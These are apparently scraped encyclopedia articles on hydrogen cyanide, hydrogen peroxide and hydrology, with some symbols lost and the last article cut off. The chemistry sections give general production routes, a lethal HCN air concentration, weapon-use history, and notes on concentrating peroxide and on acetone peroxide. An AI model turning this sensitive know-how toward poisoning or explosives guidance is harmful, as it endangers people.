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              	R-phrases

              	R12, R26, R27, R28, R32.
            


            
              	S-phrases

              	(S1), (S2), S7, S9, S13, S16,

              S28, S29, S45.
            


            
              	Flash point

              	17.78 C
            


            
              	Related compounds
            


            
              	Related compounds

              	Cyanogen

              Cyanogen chloride

              trimethylsilyl cyanide
            


            
              	Except where noted otherwise, data are given for

              materials in their standard state

              (at 25C, 100kPa)

              Infobox disclaimer and references
            

          


          Hydrogen cyanide is a chemical compound with chemical formula HCN. A solution of hydrogen cyanide in water is called hydrocyanic acid. Hydrogen cyanide is a colorless, very poisonous, and highly volatile liquid that boils slightly above room temperature at 26 C (78.8 F). HCN has a faint, bitter, almond-like odour that some people are unable to detect due to a genetic trait. Hydrogen cyanide is weakly acidic and partly ionizes in solution to give the cyanide anion, CN. The salts of hydrogen cyanide are known as cyanides. HCN is a highly valuable precursor to many chemical compounds ranging from polymers to pharmaceuticals.


          


          Production and synthesis


          Hydrogen cyanide is currently produced in large quantities by three processes. In the year 2000, 1.615 billion pounds (732,552 tons) were produced in the US. The most important process for the production of hydrogen cyanide is the Andrussov oxidation invented by Leonid Andrussow in which methane and ammonia react in the presence of oxygen at about 1200 C over a platinum catalyst:


          
            	
              
                	CH4 + NH3 + 1.5O2  HCN + 3H2O

              

            

          


          The energy needed for the reaction is provided by the part oxidation of methane and ammonia.


          Of lesser importance is the Degussa process (BMA process) in which no oxygen is added and the energy must be transferred indirectly through the reactor wall:


          
            	
              
                	CH4 + NH3  HCN + 3H2

              

            

          


          This reaction is akin to steam reforming, the reaction of methane and water. In another process, practiced at BASF, formamide is heated and split into hydrogen cyanide and water:


          
            	
              
                	CH(O)NH2  HCN + H2O

              

            

          


          In the laboratory, small amounts of HCN are produced by the addition of acids to cyanide salts of alkali metals:


          
            	
              
                	H+ + NaCN  HCN + Na+

              

            

          


          This reaction is sometimes the basis of accidental poisonings because the acid converts a nonvolatile cyanide salt into the gaseous HCN.


          


          Reactions


          HCN adds to ketones and aldehydes to give cyanohydrins. Amino acids are prepared by this reaction; the essential amino acid methionine is manufactured by this route.The cyanohydrin of acetone is a precursor to methyl methacrylate.


          In hydrocyanation, HCN adds to alkenes to give nitriles. This reaction is employed to manufacture adiponitrile, the precursor to Nylon 66.


          


          Occurrence and applications


          Cyanide is used in tempering steel, dyeing, explosives, engraving, the production of acrylic resin plastic, and other organic chemical products (eg: historically: formic acid). The less toxic ethyl acetate (C4H8O2) has now largely replaced the use of cyanide in insect killing jars. Cyanide is also being used for capital punishment.


          Fruits that have a pit, such as cherries and apricots, bitter almonds and apples, from which almond oil and flavoring are made, contain small amounts of cyanohydrins such as mandelonitrile (CAS#532-28-5). Such molecules slowly release hydrogen cyanide. Some millipedes release hydrogen cyanide as a defense mechanism, as do certain insects such as some burnet moths. Hydrogen cyanide is contained in the exhaust of vehicles, in tobacco and wood smoke, and in smoke from burning nitrogen-containing plastics.


          100 g of crushed apple seeds can yield 219 mg of Amygdalin which can generate ~10 mg of HCN.


          


          HCN and the origin of life


          Hydrogen cyanide has been discussed as a precursor to amino acids and nucleic acids. It is possible, for example, that HCN played a part in the origin of life. Leslie Orgel, among many researchers, has written extensively on the condensation of HCN. Although the relationship of these chemical reactions to the origin of life remains speculative, studies in this area have led to discoveries of new pathways to organic compounds derived from condensation of HCN.


          


          Hydrogen cyanide as a chemical weapon


          An HCN concentration of 300 mg/m3 in air will kill a human within a few minutes. The toxicity is caused by the cyanide ion, which prevents cellular respiration. Hydrogen cyanide (under the brand name Zyklon B) was perhaps most infamously employed by the Nazi regime in mid-20th century. This is also the poison that Adolf Hitler used to commit suicide on April 30th, 1945. More recent examples include the usage of this gas in gas chambers.


          Hydrogen cyanide is commonly listed amongst chemical warfare agents which cause general poisoning. As a substance listed under Schedule 3 of the Chemical Weapons Convention as a potential weapon which has large-scale industrial uses, manufacturing plants in signatory countries which produce more than 30 tonnes per year must be declared to, and can be inspected by, the OPCW.


          Although there have been no verified instances of this compound being used as a weapon, it has been reported that hydrogen cyanide may have been employed by Iraq in the war against Iran and against the Kurds in northern Iraq during the 1980s.


          In 1995 a device was discovered in a restroom in the Kayabacho Tokyo subway station consisting of bags of sodium cyanide and sulfuric acid with a remote controlled motor to rupture them in what was believed to be an attempt to produce toxic amounts of hydrogen cyanide gas by the Aum Shinrikyo cult . In 2003, Al Qaeda reportedly planned to attack the New York City Subway using hydrogen cyanide gas but aborted the attack for unknown reasons.


          Hydrogen cyanide gas in air is explosive at concentrations over 5.6%, equivalent to 56,000 ppm.
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              	IUPAC name

              	Dihydrogen dioxide
            


            
              	Other names

              	-1O,2O-Dioxidodihydrogen

              Hydrogen peroxide

              Hydrogen dioxide

              Dioxidane
            


            
              	Identifiers
            


            
              	CAS number

              	[7722-84-1]
            


            
              	RTECS number

              	MX0900000
            


            
              	Properties
            


            
              	Molecular formula

              	H2O2
            


            
              	Molar mass

              	34.0147gmol1.
            


            
              	Appearance

              	Very pale blue colour; colorless in solution
            


            
              	Density

              	1.4g/cm3, liquid
            


            
              	Melting point

              	
                -11C (262.15K)

              
            


            
              	Boiling point

              	
                150.2C (423.35K)

              
            


            
              	Solubility in water

              	Miscible
            


            
              	Acidity (pKa)

              	11.65
            


            
              	Viscosity

              	1.245c P at 20C
            


            
              	Dipole moment

              	2.26 D
            


            
              	Hazards
            


            
              	MSDS

              	30% hydrogen peroxide msds

              60% hydrogen peroxide msds
            


            
              	Main hazards

              	Oxidant, corrosive
            


            
              	NFPA 704
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              	R-phrases

              	R5, R8, R20, R22, R35
            


            
              	S-phrases

              	(S1), (S2), S17, S26, S28, S36, S37, S39, S45
            


            
              	Flash point

              	Non-flammable
            


            
              	Related compounds
            


            
              	Related compounds

              	Water

              Ozone

              Hydrazine
            


            
              	Except where noted otherwise, data are given for

              materials in their standard state

              (at 25C, 100kPa)

              Infobox disclaimer and references
            

          


          Hydrogen peroxide (H2O2) is a very pale blue liquid which appears colorless in a dilute solution, slightly more viscous than water. It is a weak acid. It has strong oxidizing properties and is therefore a powerful bleaching agent that is mostly used for bleaching paper, but has also found use as a disinfectant, as an oxidizer, as an antiseptic, and in rocketry (particularly in high concentrations as high-test peroxide (HTP)) as a monopropellant, and in bipropellant systems. The oxidizing capacity of hydrogen peroxide is so strong that the chemical is considered a highly reactive oxygen species.


          


          History


          Hydrogen peroxide was first isolated in 1818 by Louis Jacques Thnard by reacting barium peroxide with nitric acid. An improved version of this process used hydrochloric acid, followed by sulfuric acid to precipitate the barium sulfate byproduct. Thnard's process was used from the end of the 19th century until the middle of the 20th century. Modern production methods are discussed below.


          


          Uses


          


          Industrial applications


          About 50% of the world's production of hydrogen peroxide in 1994 was used for pulp- and paper-bleaching. Other bleaching applications are becoming more important as hydrogen peroxide is seen as an environmentally benign alternative to chlorine-based bleaches. It is highly corrosive to metal.


          Other major industrial applications for hydrogen peroxide include the manufacture of sodium percarbonate and sodium perborate, used as mild bleaches in laundry detergents. It is used in the production of certain organic peroxides such as dibenzoyl peroxide, used in polymerisations and other chemical processes. Hydrogen peroxide is also used in the production of epoxides such as propylene oxide. Reaction with carboxylic acids produces a corresponding peroxy acid. Peracetic acid and meta-chloroperoxybenzoic acid (commonly abbreviated mCPBA) are prepared from acetic acid and meta-chlorobenzoic acid, respectively. The latter is commonly reacted with alkenes to give the corresponding epoxide.


          In the PCB manufacturing process, hydrogen peroxide mixed with sulfuric acid was used as the microetch chemical for copper surface roughening preparation.


          A combination of a powdered precious metal-based catalyst, hydrogen peroxide, methanol and water can produce superheated steam in one to two seconds, releasing only CO2 and high temperature steam for a variety of purposes..


          


          Domestic uses


          
            	Diluted H2O2 (around 15%) is used to bleach human hair, hence the phrase "peroxide blonde". It is absorbed by skin upon contact and creates a local skin capillary embolism which appears as a temporary whitening of the skin. It is used to whiten bones that are to be put on display. The strength of a solution may be described as a percentage or volume, where 1% hydrogen peroxide releases 3.3 volumes of oxygen during decomposition.Thus, a 3% solution is equivalent to 10 volume and a 6% solution to 20 volume, etc.


            	3% H2O2 is used medically for cleaning wounds, removing dead tissue, and as an oral debriding agent. Peroxide stops slow (small vessel) wound bleeding/oozing, as well. Most over-the-counter peroxide solutions are not suitable for ingestion.


            	3% H2O2 is effective at treating fresh (red) blood-stains in clothing and on other items. It must be applied to clothing before blood stains can be accidentally "set" with heated water. Cold water and soap are then used to remove the peroxide treated blood.


            	The Food and Drug Administration (FDA) has classified hydrogen peroxide as a Low Regulatory Priority (LRP) drug for use in controlling fungus on fish and fish eggs. (See ectoparasite.)


            	Some gardeners and users of hydroponics advocate the use of hydrogen peroxide in watering solutions. They claim that its spontaneous decomposition releases oxygen that enhances a plant's root development and helps to treat root rot (cellular root death due to lack of oxygen).


            	Laboratory tests conducted by fish culturists in recent years have demonstrated that common household hydrogen peroxide can be used safely to provide oxygen for small fish. Hydrogen peroxide releases oxygen by decomposition when it is exposed to catalysts such as manganese dioxide.


            	Hydrogen peroxide is a strong oxidizer effective in controlling sulfide and organic related odors in wastewater collection and treatment systems. It is typically applied to a wastewater system where there is a retention time of 30 minutes to 5 hours before hydrogen sulfide is released. Hydrogen peroxide oxidizes the hydrogen sulfide and promotes bio-oxidation of organic odours. Hydrogen peroxide decomposes to oxygen and water, adding dissolved oxygen to the system thereby negating some Biological Oxygen Demand (BOD).


            	Hydrogen peroxide is used with phenyl oxalate ester and an appropriate dye in glow sticks as an oxidizing agent. It reacts with the ester to form an unstable CO2 dimer which excites the dye to an excited state; the dye emits a photon (light) when it spontaneously relaxes back to the ground state.

          


          


          Storage


          Regulations vary, but low concentrations, such as 2.5% are widely available and legal to buy for medical use. Small quantities of many different concentrations and grades can be legally stored and used with few regulations.


          Hydrogen peroxide should be stored in a container made from a material that it doesn't react with and doesn't catalyze its decomposition. Numerous materials and processes are available, some stainless steels, many plastics, glasses and some aluminium alloys are compatible.


          Peroxide is a strong oxidant and should be stored away from fuel sources and sources of catalytic contamination (see decomposition section). Apart from obvious fire risks, peroxide vapour can react with hydrocarbons and alcohols to form contact explosives. Because oxygen is formed during the natural decomposition of the peroxide, the resulting increase in pressure can cause a container (e.g. made of glass) to shatter. Peroxide should be kept cool, as peroxide vapour can detonate above 70 C. Deaths have occurred from storage in inadequately labeled containers due to its apparent similarity to water.


          


          Use as propellant


          H2O2 can be used either as a monopropellant (not mixed with fuel) or as the oxidizer component of a bipropellant rocket. Use as a monopropellant takes advantage of the decomposition of 7098+% concentration hydrogen peroxide into steam and oxygen. The propellant is pumped into a reaction chamber where a catalyst, usually a silver or platinum screen, triggers decomposition, producing steam at over 600 C which is expelled through a nozzle, generating thrust. H2O2 monopropellant produces a maximum specific impulse (Isp) of 161 s (1.6 kNs/kg), which makes it a low-performance monopropellant. Peroxide generates much less thrust than toxic hydrazine, but is not toxic. The Bell Rocket Belt used hydrogen peroxide monopropellant.


          As a bipropellant H2O2 is decomposed to burn a fuel as an oxidizer. Specific impulses as high as 350 s (3.5 kNs/kg) can be achieved, depending on the fuel. Peroxide used as an oxidizer gives a somewhat lower Isp than liquid oxygen, but is dense, storable, noncryogenic and can be more easily used to drive gas turbines to give high pressures. It can also be used for regenerative cooling of rocket engines. Peroxide was used very successfully as an oxidizer in World-War-II German rockets (e.g. T-Stoff for the Me-163), and for the low-cost British Black Knight and Black Arrow launchers.


          In the 1940s and 1950s the Walter turbine used hydrogen peroxide for use in submarines while submerged; it was found to be too noisy and require too much maintenance compared to diesel-electric power systems. Some torpedoes used hydrogen peroxide as oxidizer or propellant, but this was dangerous and has been discontinued by most navies. Hydrogen peroxide leaks were blamed for the sinkings of HMS Sidon and the Russian submarine Kursk. It was discovered, for example, by the Japanese Navy in torpedo trials, that the concentration of H2O2 in right-angle bends in HTP pipework can often lead to explosions in submarines and torpedoes. Hydrogen peroxide is still used on Soyuz for driving gas turbines to power turbopumps, however. SAAB Underwater Systems is manufacturing the Torpedo 2000. This torpedo, used by the Swedish navy, is powered by a piston engine propelled by HTP as an oxidizer and kerosene as a fuel in a bipropellant system.


          While rarely used now as a monopropellant for large engines, small hydrogen peroxide attitude control thrusters are still in use on some satellites. They are easy to throttle, and safer to fuel and handle before launch than hydrazine thrusters. However, hydrazine is more often used in spacecraft because of its higher specific impulse and lower rate of decomposition.


          Recently H2O2/ propylene has been proposed as an approach to inexpensive Single Stage To Orbit: a fuel tank containing propylene has a bladder floating in it containing H2O2. This combination offers 15% superior Isp to O2/RP4 (a kerosene used as rocket propellant), does not need turbines or cryogenic storage or hardware, and greatly reduces the cost of the booster. The potential of this and other alternative systems is discussed in some detail at Dunn Engineering.


          


          Therapeutic use


          Hydrogen peroxide is generally recognized as safe (GRAS) as an antimicrobial agent, an oxidizing agent and for other purposes by the US Food and Drug Administration.


          Hydrogen peroxide has been used as an antiseptic and anti-bacterial agent for many years due to its oxidizing effect. While its use has decreased in recent years with the popularity of better-smelling and more readily-available over the counter products, it is still used by many hospitals, doctors and dentists in sterilizing, cleaning and treating everything from floors to root canal procedures.


          
            	Like many oxidative antiseptics, hydrogen perioxide causes mild damage to tissue in open wounds, but it also is effective at rapidly stopping capillary bleeding (slow blood oozing from small vessels in abrasions), and is sometimes used sparingly for this purpose, as well as cleaning.


            	Hydrogen peroxide can be used as a toothpaste when mixed with correct quantities of baking soda and salt.


            	Hydrogen peroxide and benzoyl peroxide are sometimes used to treat acne.


            	Hydrogen peroxide is used as an emetic in veterinary practice.

          


          
            	"Alternative" uses

          


          
            	Some people have tried using peroxide as a treatment for cancer. The American Cancer Society states that "there is no scientific evidence that hydrogen peroxide is a safe, effective or useful cancer treatment", and advises cancer patients to "remain in the care of qualified doctors who use proven methods of treatment and approved clinical trials of promising new treatments."


            	Another controversial alternative medical procedure is inhalation of hydrogen peroxide at a concentration of about 1%. Internal use of hydrogen peroxide has a history of causing fatal blood disorders, and its recent use as a therapeutic treatment has been linked to several deaths.

          


          


          Physical properties


          [image: Structure of hydrogen peroxide]


          While the anti conformer would minimize steric repulsions, a 90 torsion angle would optimize mixing between the filled p-type orbital of the oxygen (one of the lone pairs) and the LUMO of the vicinal O-H bond. Reflecting a compromise between the two interactions, gaseous and liquid hydrogen peroxide adopts an anticlinal "skewed" shape. This rotational conformation is a compromise between the anti conformer, which would minimize steric repulsion, and between the syn conformer that associates O-H bonds with lone pairs on the oxygen atoms. Despite the fact that the O-O bond is a single bond, the molecule has a remarkably high barrier to complete rotation of 29.45 kJ/ mol (compared with 12.5 kJ/mol for the rotational barrier of ethane). The increased barrier is also attributed to repulsion between one lone pair and other lone pairs. The bond angles are affected by hydrogen bonding, which is relevant to the structural difference between gaseous and crystalline forms; indeed a wide range of values is seen in crystals containing molecular H2O2.


          


          Chemical properties


          H2O2 is one of the most powerful oxidizers known -- stronger than chlorine, chlorine dioxide, and potassium permanganate. Also, through catalysis, H2O2 can be converted into hydroxyl radicals (.OH) with reactivity second only to fluorine.


          
            
              	Oxidant

              	Oxidation potential, V
            


            
              	Fluorine

              	3.0
            


            
              	Hydroxyl radical

              	2.8
            


            
              	Ozone

              	2.1
            


            
              	Hydrogen peroxide

              	1.8
            


            
              	Potassium permanganate

              	1.7
            


            
              	Chlorine dioxide

              	1.5
            


            
              	Chlorine

              	1.4
            

          


          Hydrogen peroxide can decompose spontaneously into water and oxygen. It usually acts as an oxidizing agent, but there are many reactions where it acts as a reducing agent, releasing oxygen as a by-product.


          It also readily forms both inorganic and organic peroxides.


          


          Decomposition


          Hydrogen peroxide always decomposes (disproportionates) exothermically into water and oxygen gas spontaneously:


          
            	2 H2O2  2 H2O + O2

          


          This process is very favorable; it has a Ho of 98.2 kJ mol1 and a Go of 119.2kJmol1 and a S of 70.5Jmol1K1. The rate of decomposition is dependent on the temperature and concentration of the peroxide, as well as the pH and the presence of impurities and stabilizers. Hydrogen peroxide is incompatible with many substances that catalyse its decomposition, including most of the transition metals and their compounds. Common catalysts include manganese dioxide, and silver. The same reaction is catalysed by the enzyme catalase, found in the liver, whose main function in the body is the removal of toxic byproducts of metabolism and the reduction of oxidative stress. The decomposition occurs more rapidly in alkali, so acid is often added as a stabilizer.


          The liberation of oxygen and energy in the decomposition has dangerous side effects. Spilling high concentration peroxide on a flammable substance can cause an immediate fire, which is further fueled by the oxygen released by the decomposing hydrogen peroxide. High-strength peroxide (also called high-test peroxide, or HTP) must be stored in a suitable, vented container to prevent the buildup of oxygen gas, which would otherwise lead to the eventual rupture of the container.


          In the presence of certain catalysts, such as Fe2+ or Ti3+, the decomposition may take a different path, with free radicals such as HO ( hydroxyl) and HOO being formed. A combination of H2O2 and Fe2+ is known as Fenton's reagent.


          A common concentration for hydrogen peroxide is "20 volume", which means that when 1 volume of hydrogen peroxide is decomposed, it produces 20 volumes of oxygen. A 20 "volume" concentration of hydrogen peroxide is equivalent to 1.67 mol/dm3 ( Molar solution) or about 6%.


          Hydrogen peroxide available at drug stores is three percent solution. In such small concentrations, it is less stable, and decomposes faster. It is usually stabilized with acetanilide, a substance that has toxic side effects in significant amounts.


          


          Redox reactions


          In aqueous solution, hydrogen peroxide can oxidize or reduce a variety of inorganic ions. When it acts as a reducing agent, oxygen gas is also produced. In acid solution Fe2+ is oxidized to Fe3+,


          
            	2 Fe2+(aq) + H2O2 + 2 H+(aq)  2 Fe3+(aq) + 2H2O(l)

          


          and sulfite (SO32) is oxidized to sulfate (SO42). However, potassium permanganate is reduced to Mn2+ by acidic H2O2. Under alkaline conditions, however, some of these reactions reverse; for example, Mn2+ is oxidized to Mn4+ (as MnO2).


          Another example of hydrogen peroxide acting as a reducing agent is the reaction with sodium hypochlorite, this is a convenient method for preparing oxygen in the laboratory.


          
            	NaOCl + H2O2  O2 + NaCl + H2O

          


          Hydrogen peroxide is frequently used as an oxidizing agent in organic chemistry. One application is for the oxidation of thioethers to sulfoxides. For example, methyl phenyl sulfide was oxidised to methyl phenyl sulfoxide in 99% yield in methanol in 18 hours (or 20 minutes using a TiCl3 catalyst):


          
            	Ph-S-CH3 + H2O2  Ph-S(O)-CH3 + H2O

          


          Alkaline hydrogen peroxide is used for epoxidation of electron-deficient alkenes such as acrylic acids, and also for oxidation of alkylboranes to alcohols, the second step of hydroboration-oxidation.


          


          Formation of peroxide compounds


          Hydrogen peroxide is a weak acid, and it can form hydroperoxide or peroxide salts or derivatives of many metals.


          For example, on addition to an aqueous solution of chromic acid (CrO3) or acidic solutions of dichromate salts, it will form an unstable blue peroxide CrO(O2)2. In aqueous solution it rapidly decomposes to form oxygen gas and chromium salts.


          It can also produce peroxoanions by reaction with anions; for example, reaction with borax leads to sodium perborate, a bleach used in laundry detergents:


          
            	Na2B4O7 + 4 H2O2 + 2 NaOH  2 Na2B2O4(OH)4 + H2O

          


          H2O2 converts carboxylic acids (RCOOH) into peroxy acids (RCOOOH), which are themselves used as oxidizing agents. Hydrogen peroxide reacts with acetone to form acetone peroxide, and it interacts with ozone to form hydrogen trioxide. Reaction with urea produces carbamide peroxide, used for whitening teeth. An acid-base adduct with triphenylphosphine oxide is a useful "carrier" for H2O2 in some reactions.


          Hydrogen peroxide reacts with ozone to form trioxidane.


          


          Alkalinity


          Hydrogen peroxide is a much weaker base than water, but it can still form adducts with very strong acids. The superacid HF/SbF5 forms unstable compounds containing the [H3O2]+ ion.


          


          Manufacture


          Hydrogen peroxide is manufactured today almost exclusively by the autoxidation of 2-ethyl-9,10-dihydroxyanthracene (C16H14O2) to 2-ethylanthraquinone (C16H12O2) and hydrogen peroxide using oxygen from the air.


          [image: Hydrogen peroxide production with the anthraquinone process]


          In this reaction, the hydroxy groups on the middle ring of anthracene are deprotonated and are turned into ketones, while two double bonds are lost from the middle ring and are replaced as C=O double bonds in the ketone groups. The anthraquinone derivative is then extracted out and reduced back to the dihydroxy compound using hydrogen gas in the presence of a metal catalyst. The overall equation for the process is deceptively simple:


          
            	H2 + O2  H2O2

          


          However the economics of the process depend on effective recycling of the quinone and extraction solvents, and of the hydrogenation catalyst.


          Formerly inorganic processes were used, employing the electrolysis of an aqueous solution of sulfuric acid or acidic ammonium bisulfate (NH4HSO4), followed by hydrolysis of the peroxydisulfate ((SO4)2)2 which is formed.


          In 1994, world production of H2O2 was around 1.9 million tonnes and grew to 2.2 million in 2006, most of which was at a concentration of 70% or less. In that year bulk 30% H2O2 sold for around US $0.54 per kg, equivalent to US $1.50 per kg (US $0.68 per lb) on a "100% basis".


          


          Concentration


          Hydrogen peroxide works best as a propellant in extremely high concentrations-- roughly over 70%. Although any concentration of peroxide will generate some hot gas (oxygen plus some steam), at concentrations above approximately 67%, the heat of decomposing hydrogen peroxide becomes large enough to completely vaporize all the liquid at standard temperature. This represents a safety and utilization turning point, since decomposition of any concentration above this amount is capable of transforming the liquid entirely to heated gas (the higher the concentration, the hotter the resulting gas). This very hot steam/oxygen mixture can then be used to generate maximal thrust, power, or work, but it also makes explosive decomposition of the material far more hazardous.


          Normal propellant grade concentrations therefore vary from 70 to 98%, with common grades of 70, 85, 90, and 98%. Many of these grades and variations are described in detail in the United States propellant specification number MIL-P-16005 Revision F, which is currently available. The available suppliers of high concentration propellant grade hydrogen peroxide are generally one of the large commercial companies which make other grades of hydrogen peroxide; including Solvay Interox, FMC, Degussa and Peroxide Propulsion. Other companies which have made propellant grade hydrogen peroxide in the recent past include Air Liquide and DuPont. DuPont recently sold its hydrogen peroxide manufacturing business to Degussa.


          Propellant grade hydrogen peroxide is available to qualified buyers. Typically this chemical is only sold to commercial companies or government institutions which have the ability to properly handle and utilize the material. Non-professionals have purchased 70% or lower concentration hydrogen peroxide (the remaining 30% is water with traces of impurities and stabilizing materials, such as tin salts, phosphates, nitrates, and other chemical additives), and increased its concentration themselves. Many amateurs try distillation, but this is extremely dangerous with hydrogen peroxide; peroxide vapor can ignite or detonate depending on specific combinations of temperature and pressure. In general any boiling mass of high concentration hydrogen peroxide at ambient pressure will produce vapor phase hydrogen peroxide which can detonate. This hazard is mitigated, but not entirely eliminated with vacuum distillation. Other approaches for concentrating hydrogen peroxide are sparging and fractional crystallization.


          High concentration hydrogen peroxide is readily available in 70, 90, and 98% concentrations in sizes of 1 gallon, 30 gallon, and bulk tanker truck volumes. Propellant grade hydrogen peroxide is being used on current military systems and is in numerous defense and aerospace research and development programs. Many privately funded rocket companies are using hydrogen peroxide, notably Blue Origin, and some amateur groups have expressed interest in manufacturing their own peroxide, for their use and for sale in small quantities to others.


          


          Hazards


          Hydrogen peroxide, either in pure or diluted form, can pose several risks:


          
            	Above roughly 10% concentrations, hydrogen peroxide can give off vapor that can detonate above 50 C (158 F) at normal atmospheric pressure. This can then cause a boiling liquid expanding vapor explosion ( BLEVE) of the remaining liquid. Distillation of hydrogen peroxide at normal pressures is thus highly dangerous.

          


          
            	Hydrogen peroxide vapors can form sensitive contact explosives with hydrocarbons such as greases. Hazardous reactions ranging from ignition to explosion have been reported with alcohols, ketones, carboxylic acids (particularly acetic acid), amines and phosphorus. The saying is 'peroxides kill chemists'.

          


          
            	Hydrogen peroxide, if spilled on clothing (or other flammable materials), will preferentially evaporate water until the concentration reaches sufficient strength, then clothing will spontaneously ignite. ;

          


          
            	Concentrated hydrogen peroxide (>50%) is corrosive, and even domestic-strength solutions can cause irritation to the eyes, mucous membranes and skin. Swallowing hydrogen peroxide solutions is particularly dangerous, as decomposition in the stomach releases large quantities of gas (10 times the volume of a 3% solution) leading to internal bleeding. Inhaling over 10% can cause severe pulmonary irritation.

          


          
            	Low concentrations of hydrogen peroxide, on the order of 3% or less, will chemically bleach many types of clothing it comes into contact with to a pinkish hue. Caution should be exercised when using common products that may contain hydrogen peroxide, such as facial cleaner or contact lens solution, which easily splatter upon other surfaces.

          


          Hydrogen peroxide is naturally produced as a byproduct of oxygen metabolism, and virtually all organisms possess enzymes known as peroxidases, which apparently harmlessly catalytically decomposes low concentrations of hydrogen peroxide to water and oxygen (see Decomposition above).


          In one incident, several people were injured after a hydrogen peroxide spill on board Northwest Airlines Flight 957 because they mistook it for water.


          During the Second World War some extermination camps experimentally killed people with hydrogen peroxide injections.


          Hydrogen peroxide was also part of the ingredients in the July 21, 2005 London Underground bombs, which failed to explode.


          An MSDS will contain more information on the risks of working with this chemical.
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              Water covers 70% of the Earth's surface.
            

          


          Hydrology (from Greek: Y, hudōr, "water"; and ό, logos, "study") is the study of the movement, distribution, and quality of water throughout the Earth, and thus addresses both the hydrologic cycle and water resources. A practitioner of hydrology is a hydrologist, working within the fields of either earth or environmental science, physical geography or civil and environmental engineering.


          Domains of hydrology include hydrometeorology, surface hydrology, hydrogeology, drainage basin management and water quality, where water plays the central role. Oceanography and meteorology are not included because water is only one of many important aspects.


          Hydrological research is useful in that it allows us to better understand the world in which we live, and also provides insight for environmental engineering, policy and planning.


          


          History of hydrology


          Hydrology has been a subject of investigation and engineering for millennia. For example, in about 4000 B.C. the Nile was dammed to improve agricultural productivity of previously barren lands. Mesopotamian towns were protected from flooding with high earthen walls. Aqueducts were built by the Greeks and Ancient Romans, while the History of China shows they built irrigation and flood control works. The ancient Sinhalese used hydrology to build complex irrigation Works in Sri Lanka, also known for invention of the Valve Pit which allowed construction of large reservoirs, anicuts and canals which still function.


          Marcus Vitruvius, in the first century B.C., described a philosophical theory of the hydrologic cycle, in which precipitation falling in the mountains infiltrated the earth's surface and led to streams and springs in the lowlands. With adoption of a more scientific approach, Leonardo da Vinci and Bernard Palissy independently reached an accurate representation of the hydrologic cycle. It was not until the 17th century that hydrologic variables began to be quantified.


          Pioneers of the modern science of hydrology include Pierre Perrault, Edme Mariotte and Edmund Halley. By measuring rainfall, runoff, and drainage area, Perrault showed that rainfall was sufficient to account for flow of the Seine. Marriotte combined velocity and river cross-section measurements to obtain discharge, again in the Seine. Halley showed that the evaporation from the Mediterranean Sea was sufficient to account for the outflow of rivers flowing into the sea.


          Advances in the 18th century included the Bernoulli piezometer and Bernoulli's equation, by Daniel Bernoulli, the Pitot tube. The 19th century saw development in groundwater hydrology, including Darcy's law, the Dupuit-Thiem well formula, and Hagen- Poiseuille's capillary flow equation.


          Rational analyses began to replace empiricism in the 20th century, while governmental agencies began their own hydrological research programs. Of particular importance were Leroy Sherman's unit hydrograph, the infiltration theory of Robert E. Horton, and C.V. Theis's Aquifer test/equation describing well hydraulics.


          Since the 1950's, hydrology has been approached with a more theoretical basis than in the past, facilitated by advances in the physical understanding of hydrological processes and by the advent of computers and especially Geographic Information Systems (GIS).


          


          Hydrologic cycle


          The central theme of hydrology is that water moves throughout the Earth through different pathways and at different rates. The most vivid image of this is in the evaporation of water from the ocean, which forms clouds. These clouds drift over the land and produce rain. The rainwater flows into lakes, rivers, or aquifers. The water in lakes, rivers, and aquifers then either evaporates back to the atmosphere or eventually flows back to the ocean, completing a cycle.


          


          Branches of hydrology


          Chemical hydrology is the study of the chemical characteristics of water.


          Ecohydrology is the study of interactions between organisms and the hydrologic cycle.


          Hydrogeology is the study of the presence and movement of water in aquifers.


          Hydroinformatics is the adaptation of information technology to hydrology and water resources applications.


          Hydrometeorology is the study of the transfer of water and energy between land and water body surfaces and the lower atmosphere.


          Isotope hydrology is the study of the isotopic signatures of water.


          Surface hydrology is the study of hydrologic processes that operate at or near the Earth's surface.


          


          Related fields


          
            	Aquatic chemistry


            	Civil engineering


            	Climatology


            	Environmental engineering


            	Geomorphology


            	Hydrography


            	Hydraulic engineering


            	Limnology


            	Oceanography


            	Physical geography

          


          


          Hydrologic measurements


          The movement of water through the Earth can be measured in a number of ways. This information is important for both assessing water resources and understanding the processes involved in the hydrologic cycle. Following is a list of devices used by hydrologists and what they are used to measure.


          
            	Capacitance probe-soil moisture


            	Disdrometer - precipitation characteristics


            	Evaporation -Symon's evaporation pan


            	Infiltrometer - infiltration


            	Piezometer - groundwater pressure and, by inference, groundwater depth (see: aquifer test)


            	Radar - cloud properties, rain rate estimation, hail and snow detection


            	Rain gauge - rain and snowfall


            	Satellite - rainy area identification, rain rate estimation, land-cover/land-use, soil moisture


            	Sling psychrometer - humidity


            	Stream gauge - stream flow (see: discharge (hydrology))


            	Tensiometer - soil moisture


            	Time domain reflectometer - soil moisture

          


          


          Hydrologic prediction


          Observations of hydrologic processes are used to make predictions of the future behaviour of hydrologic systems (water flow, water quality). One of the major current concerns in hydrologic research is the Prediction in Ungauged Basins (PUB), i.e. in basins where no or only very few data exist.


          


          Statistical hydrology


          By analysing the statistical properties of hydrologic records, such as rainfall or river flow, hydrologists can estimate future hydrologic phenomena. This, however, assumes the characteristics of the processes remain unchanged.


          These estimates are important for engineers and economists so that proper risk analysis can be performed to influence investment decisions in future infrastructure and to determine the yield reliability characteristics of water supply systems. Statistical information is utilised to formulate operating rules for large dams forming part of systems which include agricultural, industrial and residential demands.


          See: return period.


          


          Hydrologic modeling


          Hydrologic models are simplified, conceptual representations of a part of the hydrologic cycle. They are primarily used for hydrologic prediction and for understanding hydrologic processes. Two major types of hydrologic models can be distinguished:


          
            	Models based on data. These models are black box systems, using mathematical and statistical concepts to link a certain input (for instance rainfall) to the model output (for instance runoff). Commonly used techniques are regression, transfer functions, neural networks and system identification. These models are known as stochastic hydrology models.

          


          
            	Models based on process descriptions. These models try to represent the physical processes observed in the real world. Typically, such models contain representations of surface runoff, subsurface flow, evapotranspiration, and channel flow, but they can be far more complicated. These models are known as deterministic hydrology models. Deterministic hydrology models can be subdivided into single-event models and continuous simulation models.

          


          Recent research in hydrologic modeling tries to have a more global approach to the understanding of the behaviour of hydrologic systems to make better predictions and to face the major challenges in water resources management.


          


          Hydrologic transport


          Water movement is a significant means by which other material, such as soil or pollutants, are transported from place to place. Initial input to receiving waters may arise from a point source discharge or a line source or area source, such as surface runoff. Since the 1960s rather complex mathematical models have been developed, facilitated by the availability of high speed computers. The most common pollutant classes analyzed are nutrients, pesticides, total dissolved solids and sediment.


          


          Applications of hydrology


          
            	Determining the water balance of a region.


            	Designing riparian restoration projects.


